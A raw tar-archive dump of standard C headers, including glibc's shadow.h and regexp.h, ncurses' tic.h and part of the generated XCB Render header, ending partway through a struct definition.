#define _SHADOW_H 1 #include <features.h> #include <paths.h> #define __need_size_t #include <stddef.h> #include <bits/types/FILE.h> /* Paths to the user database files. */ #define SHADOW _PATH_SHADOW __BEGIN_DECLS /* A record in the shadow database. */ struct spwd { char *sp_namp; /* Login name. */ char *sp_pwdp; /* Hashed passphrase. */ long int sp_lstchg; /* Date of last change. */ long int sp_min; /* Minimum number of days between changes. */ long int sp_max; /* Maximum number of days between changes. */ long int sp_warn; /* Number of days to warn user to change the password. */ long int sp_inact; /* Number of days the account may be inactive. */ long int sp_expire; /* Number of days since 1970-01-01 until account expires. */ unsigned long int sp_flag; /* Reserved. */ }; /* Open database for reading. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern void setspent (void); /* Close database. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern void endspent (void); /* Get next entry from database, perhaps after opening the file. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern struct spwd *getspent (void); /* Get shadow entry matching NAME. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern struct spwd *getspnam (const char *__name); /* Read shadow entry from STRING. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern struct spwd *sgetspent (const char *__string); /* Read next shadow entry from STREAM. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern struct spwd *fgetspent (FILE *__stream); /* Write line containing shadow entry to stream. This function is not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation it is a cancellation point and therefore not marked with __THROW. */ extern int putspent (const struct spwd *__p, FILE *__stream); #ifdef __USE_MISC /* Reentrant versions of some of the functions above. These functions are not part of POSIX and therefore no official cancellation point. But due to similarity with an POSIX interface or due to the implementation they are cancellation points and therefore not marked with __THROW. */ extern int getspent_r (struct spwd *__result_buf, char *__buffer, size_t __buflen, struct spwd **__result); extern int getspnam_r (const char *__name, struct spwd *__result_buf, char *__buffer, size_t __buflen, struct spwd **__result); extern int sgetspent_r (const char *__string, struct spwd *__result_buf, char *__buffer, size_t __buflen, struct spwd **__result); extern int fgetspent_r (FILE *__stream, struct spwd *__result_buf, char *__buffer, size_t __buflen, struct spwd **__result); #endif /* misc */ /* The simple locking functionality provided here is not suitable for multi-threaded applications. */ /* Request exclusive access to /etc/passwd and /etc/shadow. */ extern int lckpwdf (void) __THROW; /* Release exclusive access to /etc/passwd and /etc/shadow. */ extern int ulckpwdf (void) __THROW; __END_DECLS #endif /* shadow.h */ tic.h 0000644 00000032506 15246445047 0005515 0 ustar 00 /**************************************************************************** * Copyright (c) 1998-2012,2017 Free Software Foundation, Inc. * * * * Permission is hereby granted, free of charge, to any person obtaining a * * copy of this software and associated documentation files (the * * "Software"), to deal in the Software without restriction, including * * without limitation the rights to use, copy, modify, merge, publish, * * distribute, distribute with modifications, sublicense, and/or sell * * copies of the Software, and to permit persons to whom the Software is * * furnished to do so, subject to the following conditions: * * * * The above copyright notice and this permission notice shall be included * * in all copies or substantial portions of the Software. * * * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * * IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, * * DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR * * OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR * * THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * * * Except as contained in this notice, the name(s) of the above copyright * * holders shall not be used in advertising or otherwise to promote the * * sale, use or other dealings in this Software without prior written * * authorization. * ****************************************************************************/ /**************************************************************************** * Author: Zeyd M. Ben-Halim <zmbenhal@netcom.com> 1992,1995 * * and: Eric S. Raymond <esr@snark.thyrsus.com> * * and: Thomas E. Dickey 1996 on * ****************************************************************************/ /* * $Id: tic.h,v 1.75 2017/07/29 23:21:06 tom Exp $ * tic.h - Global variables and structures for the terminfo compiler. */ #ifndef __TIC_H #define __TIC_H /* *INDENT-OFF* */ #ifdef __cplusplus extern "C" { #endif #include <ncurses_cfg.h> #include <curses.h> /* for the _tracef() prototype, ERR/OK, bool defs */ /* ** The format of SVr2 compiled terminfo files is as follows: ** ** Header (12 bytes), containing information given below ** Names Section, containing the names of the terminal ** Boolean Section, containing the values of all of the ** boolean capabilities ** A null byte may be inserted here to make ** sure that the Number Section begins on an ** even word boundary. ** Number Section, containing the values of all of the numeric ** capabilities, each as a short integer ** String Section, containing short integer offsets into the ** String Table, one per string capability ** String Table, containing the actual characters of the string ** capabilities. ** ** In the SVr2 format, "short" means signed 16-bit numbers, which is sometimes ** inconvenient. The numbers are signed, to provide for absent and canceled ** values. ncurses6.1 introduced an extension to this compiled format, by ** making the Number Section a list of signed 32-bit integers. ** ** NOTE that all short integers in the file are stored using VAX/PDP-style ** byte-order, i.e., least-significant byte first. ** ** There is no structure definition here because it would only confuse ** matters. Terminfo format is a raw byte layout, not a structure ** dump. If you happen to be on a little-endian machine with 16-bit ** shorts that requires no padding between short members in a struct, ** then there is a natural C structure that captures the header, but ** not very helpfully. */ #define MAGIC 0432 /* first two bytes of a compiled entry */ #define MAGIC2 01036 /* first two bytes of a compiled 32-bit entry */ #undef BYTE #define BYTE(p,n) (unsigned char)((p)[n]) #define IS_NEG1(p) ((BYTE(p,0) == 0377) && (BYTE(p,1) == 0377)) #define IS_NEG2(p) ((BYTE(p,0) == 0376) && (BYTE(p,1) == 0377)) #define LOW_MSB(p) (BYTE(p,0) + 256*BYTE(p,1)) #define IS_TIC_MAGIC(p) (LOW_MSB(p) == MAGIC || LOW_MSB(p) == MAGIC2) #define quick_prefix(s) (!strncmp((s), "b64:", 4) || !strncmp((s), "hex:", 4)) /* * The "maximum" here is misleading; XSI guarantees minimum values, which a * given implementation may exceed. */ #define MAX_NAME_SIZE 512 /* maximum legal name field size (XSI:127) */ #define MAX_ENTRY_SIZE1 4096 /* maximum legal entry size (SVr2) */ #define MAX_ENTRY_SIZE2 32768 /* maximum legal entry size (ncurses6.1) */ #if NCURSES_EXT_COLORS && HAVE_INIT_EXTENDED_COLOR #define MAX_ENTRY_SIZE MAX_ENTRY_SIZE2 #else #define MAX_ENTRY_SIZE MAX_ENTRY_SIZE1 #endif /* * The maximum size of individual name or alias is guaranteed in XSI to be at * least 14, since that corresponds to the older filename lengths. Newer * systems allow longer aliases, though not many terminal descriptions are * written to use them. The MAX_ALIAS symbol is used for warnings. */ #if HAVE_LONG_FILE_NAMES #define MAX_ALIAS 32 /* smaller than POSIX minimum for PATH_MAX */ #else #define MAX_ALIAS 14 /* SVr3 filename length */ #endif /* location of user's personal info directory */ #define PRIVATE_INFO "%s/.terminfo" /* plug getenv("HOME") into %s */ /* * Some traces are designed to be used via tic's verbose option (and similar in * infocmp and toe) rather than the 'trace()' function. So we use the bits * above the normal trace() parameter as a debug-level. */ #define MAX_DEBUG_LEVEL 15 #define DEBUG_LEVEL(n) ((n) << TRACE_SHIFT) #define set_trace_level(n) \ _nc_tracing &= DEBUG_LEVEL(MAX_DEBUG_LEVEL) \ + DEBUG_LEVEL(MAX_DEBUG_LEVEL) - 1, \ _nc_tracing |= DEBUG_LEVEL(n) #ifdef TRACE #define DEBUG(n, a) if (_nc_tracing >= DEBUG_LEVEL(n)) _tracef a #else #define DEBUG(n, a) /*nothing*/ #endif /* * These are the types of tokens returned by the scanner. The first * three are also used in the hash table of capability names. The scanner * returns one of these values after loading the specifics into the global * structure curr_token. */ #define BOOLEAN 0 /* Boolean capability */ #define NUMBER 1 /* Numeric capability */ #define STRING 2 /* String-valued capability */ #define CANCEL 3 /* Capability to be cancelled in following tc's */ #define NAMES 4 /* The names for a terminal type */ #define UNDEF 5 /* Undefined */ #define NO_PUSHBACK -1 /* used in pushtype to indicate no pushback */ /* * The global structure in which the specific parts of a * scanned token are returned. */ struct token { char *tk_name; /* name of capability */ int tk_valnumber; /* value of capability (if a number) */ char *tk_valstring; /* value of capability (if a string) */ }; /* * Offsets to string capabilities, with the corresponding functionkey codes. */ struct tinfo_fkeys { unsigned offset; chtype code; }; typedef short HashValue; /* * The file comp_captab.c contains an array of these structures, one per * possible capability. These are indexed by a hash table array of pointers to * the same structures for use by the parser. */ struct name_table_entry { const char *nte_name; /* name to hash on */ int nte_type; /* BOOLEAN, NUMBER or STRING */ HashValue nte_index; /* index of associated variable in its array */ HashValue nte_link; /* index in table of next hash, or -1 */ }; /* * Use this structure to hide differences between terminfo and termcap tables. */ typedef struct { unsigned table_size; const HashValue *table_data; HashValue (*hash_of)(const char *); int (*compare_names)(const char *, const char *); } HashData; struct alias { const char *from; const char *to; const char *source; }; #define NOTFOUND ((struct name_table_entry *) 0) /* * The casts are required for correct sign-propagation with systems such as * AIX, IRIX64, Solaris which default to unsigned characters. The C standard * leaves this detail unspecified. */ /* out-of-band values for representing absent capabilities */ #define ABSENT_BOOLEAN ((signed char)-1) /* 255 */ #define ABSENT_NUMERIC (-1) #define ABSENT_STRING (char *)0 /* out-of-band values for representing cancels */ #define CANCELLED_BOOLEAN ((signed char)-2) /* 254 */ #define CANCELLED_NUMERIC (-2) #define CANCELLED_STRING (char *)(-1) #define VALID_BOOLEAN(s) ((unsigned char)(s) <= 1) /* reject "-1" */ #define VALID_NUMERIC(s) ((s) >= 0) #define VALID_STRING(s) ((s) != CANCELLED_STRING && (s) != ABSENT_STRING) /* termcap entries longer than this may break old binaries */ #define MAX_TERMCAP_LENGTH 1023 /* this is a documented limitation of terminfo */ #define MAX_TERMINFO_LENGTH 4096 #ifndef TERMINFO #define TERMINFO "/usr/share/terminfo" #endif #ifdef NCURSES_TERM_ENTRY_H_incl /* * These entrypoints are used only by the ncurses utilities such as tic. */ #ifdef NCURSES_INTERNALS /* access.c */ extern NCURSES_EXPORT(unsigned) _nc_pathlast (const char *); extern NCURSES_EXPORT(bool) _nc_is_abs_path (const char *); extern NCURSES_EXPORT(bool) _nc_is_dir_path (const char *); extern NCURSES_EXPORT(bool) _nc_is_file_path (const char *); extern NCURSES_EXPORT(char *) _nc_basename (char *); extern NCURSES_EXPORT(char *) _nc_rootname (char *); /* comp_captab.c */ extern NCURSES_EXPORT(const struct name_table_entry *) _nc_get_table (bool); extern NCURSES_EXPORT(const HashData *) _nc_get_hash_info (bool); extern NCURSES_EXPORT(const struct alias *) _nc_get_alias_table (bool); /* comp_hash.c: name lookup */ extern NCURSES_EXPORT(struct name_table_entry const *) _nc_find_type_entry (const char *, int, bool); /* comp_scan.c: lexical analysis */ extern NCURSES_EXPORT(int) _nc_get_token (bool); extern NCURSES_EXPORT(void) _nc_panic_mode (char); extern NCURSES_EXPORT(void) _nc_push_token (int); extern NCURSES_EXPORT_VAR(int) _nc_curr_col; extern NCURSES_EXPORT_VAR(int) _nc_curr_line; extern NCURSES_EXPORT_VAR(int) _nc_syntax; extern NCURSES_EXPORT_VAR(int) _nc_strict_bsd; extern NCURSES_EXPORT_VAR(long) _nc_comment_end; extern NCURSES_EXPORT_VAR(long) _nc_comment_start; extern NCURSES_EXPORT_VAR(long) _nc_curr_file_pos; extern NCURSES_EXPORT_VAR(long) _nc_start_line; #define SYN_TERMINFO 0 #define SYN_TERMCAP 1 /* comp_error.c: warning & abort messages */ extern NCURSES_EXPORT(const char *) _nc_get_source (void); extern NCURSES_EXPORT(void) _nc_err_abort (const char *const,...) GCC_PRINTFLIKE(1,2) GCC_NORETURN; extern NCURSES_EXPORT(void) _nc_get_type (char *name); extern NCURSES_EXPORT(void) _nc_set_source (const char *const); extern NCURSES_EXPORT(void) _nc_set_type (const char *const); extern NCURSES_EXPORT(void) _nc_syserr_abort (const char *const,...) GCC_PRINTFLIKE(1,2) GCC_NORETURN; extern NCURSES_EXPORT(void) _nc_warning (const char *const,...) GCC_PRINTFLIKE(1,2); extern NCURSES_EXPORT_VAR(bool) _nc_suppress_warnings; /* comp_scan.c */ extern NCURSES_EXPORT_VAR(struct token) _nc_curr_token; /* captoinfo.c: capability conversion */ extern NCURSES_EXPORT(char *) _nc_captoinfo (const char *, const char *, int const); extern NCURSES_EXPORT(char *) _nc_infotocap (const char *, const char *, int const); /* home_terminfo.c */ extern NCURSES_EXPORT(char *) _nc_home_terminfo (void); /* init_keytry.c */ #if BROKEN_LINKER #define _nc_tinfo_fkeys _nc_tinfo_fkeysf() extern NCURSES_EXPORT(const struct tinfo_fkeys *) _nc_tinfo_fkeysf (void); #else extern NCURSES_EXPORT_VAR(const struct tinfo_fkeys) _nc_tinfo_fkeys[]; #endif /* lib_tparm.c */ #define NUM_PARM 9 extern NCURSES_EXPORT_VAR(int) _nc_tparm_err; extern NCURSES_EXPORT(int) _nc_tparm_analyze(const char *, char **, int *); /* lib_trace.c */ extern NCURSES_EXPORT_VAR(unsigned) _nc_tracing; extern NCURSES_EXPORT(const char *) _nc_visbuf (const char *); extern NCURSES_EXPORT(const char *) _nc_visbuf2 (int, const char *); /* lib_tputs.c */ extern NCURSES_EXPORT_VAR(int) _nc_nulls_sent; /* Add one for every null sent */ /* comp_main.c: compiler main */ extern const char * _nc_progname; /* db_iterator.c */ extern NCURSES_EXPORT(const char *) _nc_next_db(DBDIRS *, int *); extern NCURSES_EXPORT(const char *) _nc_tic_dir (const char *); extern NCURSES_EXPORT(void) _nc_first_db(DBDIRS *, int *); extern NCURSES_EXPORT(void) _nc_last_db(void); /* write_entry.c */ extern NCURSES_EXPORT(int) _nc_tic_written (void); #endif /* NCURSES_INTERNALS */ /* * These entrypoints are used by tack. */ /* comp_hash.c: name lookup */ extern NCURSES_EXPORT(struct name_table_entry const *) _nc_find_entry (const char *, const HashValue *); extern NCURSES_EXPORT(const HashValue *) _nc_get_hash_table (bool); /* comp_scan.c: lexical analysis */ extern NCURSES_EXPORT(void) _nc_reset_input (FILE *, char *); /* comp_expand.c: expand string into readable form */ extern NCURSES_EXPORT(char *) _nc_tic_expand (const char *, bool, int); /* comp_scan.c: decode string from readable form */ extern NCURSES_EXPORT(int) _nc_trans_string (char *, char *); #endif /* NCURSES_TERM_ENTRY_H_incl */ #ifdef __cplusplus } #endif /* *INDENT-ON* */ #endif /* __TIC_H */ regexp.h 0000644 00000002647 15246445047 0006233 0 ustar 00 /* Copyright (C) 1996-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. Contributed by Ulrich Drepper <drepper@cygnus.com>, 1996. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _REGEXP_H #define _REGEXP_H 1 /* The contents of this header file were originally standardized in the Single Unix Specification, Issue 3 (1992). In Issue 4 (1994) the header was marked as TO BE WITHDRAWN, and new applications were encouraged to use <regex.h> instead. It was officially withdrawn from the standard in Issue 6 (aka POSIX.1-2001). The GNU C Library provided this header through version 2.22. */ #error "The GNU C Library no longer implements <regexp.h>." #error "Please update your code to use <regex.h> instead (no trailing 'p')." #endif /* regexp.h */ xcb/render.h 0000644 00000312456 15246445047 0006776 0 ustar 00 /* * This file generated automatically from render.xml by c_client.py. * Edit at your peril. */ /** * @defgroup XCB_Render_API XCB Render API * @brief Render XCB Protocol Implementation. * @{ **/ #ifndef __RENDER_H #define __RENDER_H #include "xcb.h" #include "xproto.h" #ifdef __cplusplus extern "C" { #endif #define XCB_RENDER_MAJOR_VERSION 0 #define XCB_RENDER_MINOR_VERSION 11 extern xcb_extension_t xcb_render_id; typedef enum xcb_render_pict_type_t { XCB_RENDER_PICT_TYPE_INDEXED = 0, XCB_RENDER_PICT_TYPE_DIRECT = 1 } xcb_render_pict_type_t; typedef enum xcb_render_picture_enum_t { XCB_RENDER_PICTURE_NONE = 0 } xcb_render_picture_enum_t; typedef enum xcb_render_pict_op_t { XCB_RENDER_PICT_OP_CLEAR = 0, XCB_RENDER_PICT_OP_SRC = 1, XCB_RENDER_PICT_OP_DST = 2, XCB_RENDER_PICT_OP_OVER = 3, XCB_RENDER_PICT_OP_OVER_REVERSE = 4, XCB_RENDER_PICT_OP_IN = 5, XCB_RENDER_PICT_OP_IN_REVERSE = 6, XCB_RENDER_PICT_OP_OUT = 7, XCB_RENDER_PICT_OP_OUT_REVERSE = 8, XCB_RENDER_PICT_OP_ATOP = 9, XCB_RENDER_PICT_OP_ATOP_REVERSE = 10, XCB_RENDER_PICT_OP_XOR = 11, XCB_RENDER_PICT_OP_ADD = 12, XCB_RENDER_PICT_OP_SATURATE = 13, XCB_RENDER_PICT_OP_DISJOINT_CLEAR = 16, XCB_RENDER_PICT_OP_DISJOINT_SRC = 17, XCB_RENDER_PICT_OP_DISJOINT_DST = 18, XCB_RENDER_PICT_OP_DISJOINT_OVER = 19, XCB_RENDER_PICT_OP_DISJOINT_OVER_REVERSE = 20, XCB_RENDER_PICT_OP_DISJOINT_IN = 21, XCB_RENDER_PICT_OP_DISJOINT_IN_REVERSE = 22, XCB_RENDER_PICT_OP_DISJOINT_OUT = 23, XCB_RENDER_PICT_OP_DISJOINT_OUT_REVERSE = 24, XCB_RENDER_PICT_OP_DISJOINT_ATOP = 25, XCB_RENDER_PICT_OP_DISJOINT_ATOP_REVERSE = 26, XCB_RENDER_PICT_OP_DISJOINT_XOR = 27, XCB_RENDER_PICT_OP_CONJOINT_CLEAR = 32, XCB_RENDER_PICT_OP_CONJOINT_SRC = 33, XCB_RENDER_PICT_OP_CONJOINT_DST = 34, XCB_RENDER_PICT_OP_CONJOINT_OVER = 35, XCB_RENDER_PICT_OP_CONJOINT_OVER_REVERSE = 36, XCB_RENDER_PICT_OP_CONJOINT_IN = 37, XCB_RENDER_PICT_OP_CONJOINT_IN_REVERSE = 38, XCB_RENDER_PICT_OP_CONJOINT_OUT = 39, XCB_RENDER_PICT_OP_CONJOINT_OUT_REVERSE = 40, XCB_RENDER_PICT_OP_CONJOINT_ATOP = 41, XCB_RENDER_PICT_OP_CONJOINT_ATOP_REVERSE = 42, XCB_RENDER_PICT_OP_CONJOINT_XOR = 43, XCB_RENDER_PICT_OP_MULTIPLY = 48, XCB_RENDER_PICT_OP_SCREEN = 49, XCB_RENDER_PICT_OP_OVERLAY = 50, XCB_RENDER_PICT_OP_DARKEN = 51, XCB_RENDER_PICT_OP_LIGHTEN = 52, XCB_RENDER_PICT_OP_COLOR_DODGE = 53, XCB_RENDER_PICT_OP_COLOR_BURN = 54, XCB_RENDER_PICT_OP_HARD_LIGHT = 55, XCB_RENDER_PICT_OP_SOFT_LIGHT = 56, XCB_RENDER_PICT_OP_DIFFERENCE = 57, XCB_RENDER_PICT_OP_EXCLUSION = 58, XCB_RENDER_PICT_OP_HSL_HUE = 59, XCB_RENDER_PICT_OP_HSL_SATURATION = 60, XCB_RENDER_PICT_OP_HSL_COLOR = 61, XCB_RENDER_PICT_OP_HSL_LUMINOSITY = 62 } xcb_render_pict_op_t; typedef enum xcb_render_poly_edge_t { XCB_RENDER_POLY_EDGE_SHARP = 0, XCB_RENDER_POLY_EDGE_SMOOTH = 1 } xcb_render_poly_edge_t; typedef enum xcb_render_poly_mode_t { XCB_RENDER_POLY_MODE_PRECISE = 0, XCB_RENDER_POLY_MODE_IMPRECISE = 1 } xcb_render_poly_mode_t; typedef enum xcb_render_cp_t { XCB_RENDER_CP_REPEAT = 1, XCB_RENDER_CP_ALPHA_MAP = 2, XCB_RENDER_CP_ALPHA_X_ORIGIN = 4, XCB_RENDER_CP_ALPHA_Y_ORIGIN = 8, XCB_RENDER_CP_CLIP_X_ORIGIN = 16, XCB_RENDER_CP_CLIP_Y_ORIGIN = 32, XCB_RENDER_CP_CLIP_MASK = 64, XCB_RENDER_CP_GRAPHICS_EXPOSURE = 128, XCB_RENDER_CP_SUBWINDOW_MODE = 256, XCB_RENDER_CP_POLY_EDGE = 512, XCB_RENDER_CP_POLY_MODE = 1024, XCB_RENDER_CP_DITHER = 2048, XCB_RENDER_CP_COMPONENT_ALPHA = 4096 } xcb_render_cp_t; typedef enum xcb_render_sub_pixel_t { XCB_RENDER_SUB_PIXEL_UNKNOWN = 0, XCB_RENDER_SUB_PIXEL_HORIZONTAL_RGB = 1, XCB_RENDER_SUB_PIXEL_HORIZONTAL_BGR = 2, XCB_RENDER_SUB_PIXEL_VERTICAL_RGB = 3, XCB_RENDER_SUB_PIXEL_VERTICAL_BGR = 4, XCB_RENDER_SUB_PIXEL_NONE = 5 } xcb_render_sub_pixel_t; typedef enum xcb_render_repeat_t { XCB_RENDER_REPEAT_NONE = 0, XCB_RENDER_REPEAT_NORMAL = 1, XCB_RENDER_REPEAT_PAD = 2, XCB_RENDER_REPEAT_REFLECT = 3 } xcb_render_repeat_t; typedef uint32_t xcb_render_glyph_t; /** * @brief xcb_render_glyph_iterator_t **/ typedef struct xcb_render_glyph_iterator_t { xcb_render_glyph_t *data; int rem; int index; } xcb_render_glyph_iterator_t; typedef uint32_t xcb_render_glyphset_t; /** * @brief xcb_render_glyphset_iterator_t **/ typedef struct xcb_render_glyphset_iterator_t { xcb_render_glyphset_t *data; int rem; int index; } xcb_render_glyphset_iterator_t; typedef uint32_t xcb_render_picture_t; /** * @brief xcb_render_picture_iterator_t **/ typedef struct xcb_render_picture_iterator_t { xcb_render_picture_t *data; int rem; int index; } xcb_render_picture_iterator_t; typedef uint32_t xcb_render_pictformat_t; /** * @brief xcb_render_pictformat_iterator_t **/ typedef struct xcb_render_pictformat_iterator_t { xcb_render_pictformat_t *data; int rem; int index; } xcb_render_pictformat_iterator_t; typedef int32_t xcb_render_fixed_t; /** * @brief xcb_render_fixed_iterator_t **/ typedef struct xcb_render_fixed_iterator_t { xcb_render_fixed_t *data; int rem; int index; } xcb_render_fixed_iterator_t; /** Opcode for xcb_render_pict_format. */ #define XCB_RENDER_PICT_FORMAT 0 /** * @brief xcb_render_pict_format_error_t **/ typedef struct xcb_render_pict_format_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_render_pict_format_error_t; /** Opcode for xcb_render_picture. */ #define XCB_RENDER_PICTURE 1 /** * @brief xcb_render_picture_error_t **/ typedef struct xcb_render_picture_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_render_picture_error_t; /** Opcode for xcb_render_pict_op. */ #define XCB_RENDER_PICT_OP 2 /** * @brief xcb_render_pict_op_error_t **/ typedef struct xcb_render_pict_op_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_render_pict_op_error_t; /** Opcode for xcb_render_glyph_set. */ #define XCB_RENDER_GLYPH_SET 3 /** * @brief xcb_render_glyph_set_error_t **/ typedef struct xcb_render_glyph_set_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_render_glyph_set_error_t; /** Opcode for xcb_render_glyph. */ #define XCB_RENDER_GLYPH 4 /** * @brief xcb_render_glyph_error_t **/ typedef struct xcb_render_glyph_error_t { uint8_t response_type; uint8_t error_code; uint16_t sequence; } xcb_render_glyph_error_t; /** * @brief xcb_render_directformat_t **/ typedef struct xcb_render_directformat_t { uint16_t red_shift; uint16_t red_mask; uint16_t green_shift; uint16_t green_mask; uint16_t blue_shift; uint16_t blue_mask; uint16_t alpha_shift; uint16_t alpha_mask; } xcb_render_directformat_t; /** * @brief xcb_render_directformat_iterator_t **/ typedef struct xcb_render_directformat_iterator_t { xcb_render_directformat_t *data; int rem; int index; } xcb_render_directformat_iterator_t; /** * @brief xcb_render_pictforminfo_t **/ typedef struct xcb_render_pictforminfo_t { xcb_render_pictformat_t id; uint8_t type; uint8_t depth; uint8_t pad0[2]; xcb_render_directformat_t direct; xcb_colormap_t colormap; } xcb_render_pictforminfo_t; /** * @brief xcb_render_pictforminfo_iterator_t **/ typedef struct xcb_render_pictforminfo_iterator_t { xcb_render_pictforminfo_t *data; int rem; int index; } xcb_render_pictforminfo_iterator_t; /** * @brief xcb_render_pictvisual_t **/ typedef struct xcb_render_pictvisual_t { xcb_visualid_t visual; xcb_render_pictformat_t format; } xcb_render_pictvisual_t; /** * @brief xcb_render_pictvisual_iterator_t **/ typedef struct xcb_render_pictvisual_iterator_t { xcb_render_pictvisual_t *data; int rem; int index; } xcb_render_pictvisual_iterator_t; /** * @brief xcb_render_pictdepth_t **/ typedef struct xcb_render_pictdepth_t { uint8_t depth; uint8_t pad0; uint16_t num_visuals; uint8_t pad1[4]; } xcb_render_pictdepth_t; /** * @brief xcb_render_pictdepth_iterator_t **/ typedef struct xcb_render_pictdepth_iterator_t { xcb_render_pictdepth_t *data; int rem; int index; } xcb_render_pictdepth_iterator_t; /** * @brief xcb_render_pictscreen_t **/ typedef struct xcb_render_pictscreen_t { uint32_t num_depths; xcb_render_pictformat_t fallback; } xcb_render_pictscreen_t; /** * @brief xcb_render_pictscreen_iterator_t **/ typedef struct xcb_render_pictscreen_iterator_t { xcb_render_pictscreen_t *data; int rem; int index; } xcb_render_pictscreen_iterator_t; /** * @brief xcb_render_indexvalue_t **/ typedef struct xcb_render_indexvalue_t { uint32_t pixel; uint16_t red; uint16_t green; uint16_t blue; uint16_t alpha; } xcb_render_indexvalue_t; /** * @brief xcb_render_indexvalue_iterator_t **/ typedef struct xcb_render_indexvalue_iterator_t { xcb_render_indexvalue_t *data; int rem; int index; } xcb_render_indexvalue_iterator_t; /** * @brief xcb_render_color_t **/ typedef struct xcb_render_color_t { uint16_t red; uint16_t green; uint16_t blue; uint16_t alpha; } xcb_render_color_t; /** * @brief xcb_render_color_iterator_t **/ typedef struct xcb_render_color_iterator_t { xcb_render_color_t *data; int rem; int index; } xcb_render_color_iterator_t; /** * @brief xcb_render_pointfix_t **/ typedef struct xcb_render_pointfix_t { xcb_render_fixed_t x; xcb_render_fixed_t y; } xcb_render_pointfix_t; /** * @brief xcb_render_pointfix_iterator_t **/ typedef struct xcb_render_pointfix_iterator_t { xcb_render_pointfix_t *data; int rem; int index; } xcb_render_pointfix_iterator_t; /** * @brief xcb_render_linefix_t **/ typedef struct xcb_render_linefix_t { xcb_render_pointfix_t p1; xcb_render_pointfix_t p2; } xcb_render_linefix_t; /** * @brief xcb_render_linefix_iterator_t **/ typedef struct xcb_render_linefix_iterator_t { xcb_render_linefix_t *data; int rem; int index; } xcb_render_linefix_iterator_t; /** * @brief xcb_render_triangle_t **/ typedef struct xcb_render_triangle_t { xcb_render_pointfix_t p1; xcb_render_pointfix_t p2; xcb_render_pointfix_t p3; } xcb_render_triangle_t; /** * @brief xcb_render_triangle_iterator_t **/ typedef struct xcb_render_triangle_iterator_t { xcb_render_triangle_t *data; int rem; int index; } xcb_render_triangle_iterator_t; /** * @brief xcb_render_trapezoid_t **/ typedef struct xcb_render_trapezoid_t { xcb_render_fixed_t top; xcb_render_fixed_t bottom; xcb_render_linefix_t left; xcb_render_linefix_t right; } xcb_render_trapezoid_t; /** * @brief xcb_render_trapezoid_iterator_t **/ typedef struct xcb_render_trapezoid_iterator_t { xcb_render_trapezoid_t *data; int rem; int index; } xcb_render_trapezoid_iterator_t; /** * @brief xcb_render_glyphinfo_t **/ typedef struct xcb_render_glyphinfo_t { uint16_t width; uint16_t height; int16_t x; int16_t y; int16_t x_off; int16_t y_off; } xcb_render_glyphinfo_t; /** * @brief xcb_render_glyphinfo_iterator_t **/ typedef struct xcb_render_glyphinfo_iterator_t { xcb_render_glyphinfo_t *data; int rem; int index; } xcb_render_glyphinfo_iterator_t; /** * @brief xcb_render_query_version_cookie_t **/ typedef struct xcb_render_query_version_cookie_t { unsigned int sequence; } xcb_render_query_version_cookie_t; /** Opcode for xcb_render_query_version. */ #define XCB_RENDER_QUERY_VERSION 0 /** * @brief xcb_render_query_version_request_t **/ typedef struct xcb_render_query_version_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; uint32_t client_major_version; uint32_t client_minor_version; } xcb_render_query_version_request_t; /** * @brief xcb_render_query_version_reply_t **/ typedef struct xcb_render_query_version_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t major_version; uint32_t minor_version; uint8_t pad1[16]; } xcb_render_query_version_reply_t; /** * @brief xcb_render_query_pict_formats_cookie_t **/ typedef struct xcb_render_query_pict_formats_cookie_t { unsigned int sequence; } xcb_render_query_pict_formats_cookie_t; /** Opcode for xcb_render_query_pict_formats. */ #define XCB_RENDER_QUERY_PICT_FORMATS 1 /** * @brief xcb_render_query_pict_formats_request_t **/ typedef struct xcb_render_query_pict_formats_request_t { uint8_t major_opcode; uint8_t minor_opcode; uint16_t length; } xcb_render_query_pict_formats_request_t; /** * @brief xcb_render_query_pict_formats_reply_t **/ typedef struct xcb_render_query_pict_formats_reply_t { uint8_t response_type; uint8_t pad0; uint16_t sequence; uint32_t length; uint32_t num_formats; uint32_t num_screens; uint32_t num_depths; uint32_t num_visuals; uint32_t num_subpixel; uint8_t pad1[4]; } xcb_render_query_pict_formats_reply_t; /** * @brief xcb_render_query_pict_index_values_cookie_t **/ typedef struct xcb_render_query_pict_index_values_cookie_t { unsigned int sequence; } 